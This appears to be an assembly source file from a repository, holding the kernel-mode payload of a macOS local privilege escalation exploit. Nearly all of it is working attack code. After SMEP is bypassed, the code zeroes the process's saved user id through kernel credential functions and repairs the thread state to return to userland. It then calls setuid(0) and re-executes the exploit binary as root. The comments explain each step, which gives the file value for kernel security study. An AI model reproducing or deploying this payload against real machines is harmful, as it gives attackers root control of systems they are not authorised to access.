150 lines
3.8 KiB
ArmAsm
Raw Normal View History

2019-09-20 23:26:44 +08:00
; This is the privilege escalation code and it will be run
; after we've disabled SMEP. I'm doing this in assembly because
; the kernel is going to execute this code as 64bit so the privilege
; escalation part has to be 64bit. However our exploit program is 32bit
; and the simplest way to have 64 and 32 bit code in one binary is probably
; writing the 64bit part in assembly and linking it to the 32 bit code.
bits 64
section __TEXT,__text
; Helper to fix relative accesses bc of PIE
getRIP:
mov rax, [rsp]
ret
; This is the function we're trying to implement
; void escalatePrivs() {
; uint32_t *posix_cred = posix_cred_get(proc_ucred(current_proc()));
; posix_cred[2] = 0x00; // uid_t cr_svuid; /* saved user id */
; return;
; }
global _escalatePrivs
_escalatePrivs:
swapgs
call getRIP
add rax, _current_proc - $
mov rax, [rax]
call rax; current_proc()
mov rdi, rax
call getRIP
add rax, _proc_ucred - $
mov rax, [rax]
call rax; proc_ucred(current_proc())
mov rdi, rax
call getRIP
add rax, _posix_cred_get - $
mov rax, [rax]
call rax; posix_cred_get(proc_ucred(current_proc())) \o/
; rax contains a pointer to our posix cred stucture at this point
;
; struct posix_cred {
; /*
; * The credential hash depends on everything from this point on
; * (see kauth_cred_get_hashkey)
; */
; uid_t cr_uid; /* effective user id */
; uid_t cr_ruid; /* real user id */
; uid_t cr_svuid; /* saved user id */
; short cr_ngroups; /* number of groups in advisory list */
; gid_t cr_groups[NGROUPS]; /* advisory group list */
; gid_t cr_rgid; /* real group id */
; gid_t cr_svgid; /* saved group id */
; uid_t cr_gmuid; /* UID for group membership purposes */
; int cr_flags; /* flags on credential */
; }
;
; we want to overwrite the cr_svuid field insead of cr_uid and cr_ruid
; to prevent crashing later on. Overwriting the cr_svuid will enable us
; to call seteuid(0)&setuid(0) in order for us to get root
mov dword [rax+0x4+0x4], 0x00; cr_svuid = 0x00;
; we're root !!! But we still need to return back to userland
; to be able to make use of our new privileges
; The easiest way to return back to userland is probably
; just calling _return_to_user, but since we have a
; kind of fucked up thread structure, we'll need to fix that first.
mov r15, qword [gs:0x08]; Get Thread structure
mov r15, qword [r15+0x428]; thread saved_state
; Calculate address of resume_task
call getRIP
add rax, resume_task - $
; populate our saved_state with sane values
mov dword [r15+0x48], eax ; New eip
mov dword [r15+0x50], 0x00200282 ; New eflags
mov dword [r15+0x4c], 0x1b ; New cs
mov dword [r15+0x54], 0x500 ; New esp
mov dword [r15+0x58], 0x23 ; New ss
mov dword [r15+0x1c], 0x23 ; New ds
mov dword [r15+0x18], 0x23 ; New es
mov dword [r15+0x14], 0x00 ; New fs
mov dword [r15+0x10], 0x00 ; New gs
call getRIP
add rax, _return_to_user - $
mov rax, [rax]
jmp rax
hlt
bits 32
resume_task:
; seteuid(0) + setuid(0)
mov eax, 183
xor ebx, ebx
int 0x80
mov eax, 23
xor ebx, ebx
int 0x80
; Exec our own process again, but this time as root ;)
xor eax, eax
push eax
push 0x00000074
push 0x696f6c70
push 0x78652f2e
mov ebx, esp
push eax
push eax
push ebx
mov al, 0x3b
push byte 0x2a
int 0x80
section __DATA,__data
global _current_proc
_current_proc:
dq 0xfeedface; placeholder
global _posix_cred_get
_posix_cred_get:
dq 0xfeedface; placeholder
global _proc_ucred
_proc_ucred:
dq 0xfeedface; placeholder
global _return_to_user
_return_to_user:
dq 0xfeedface; placeholder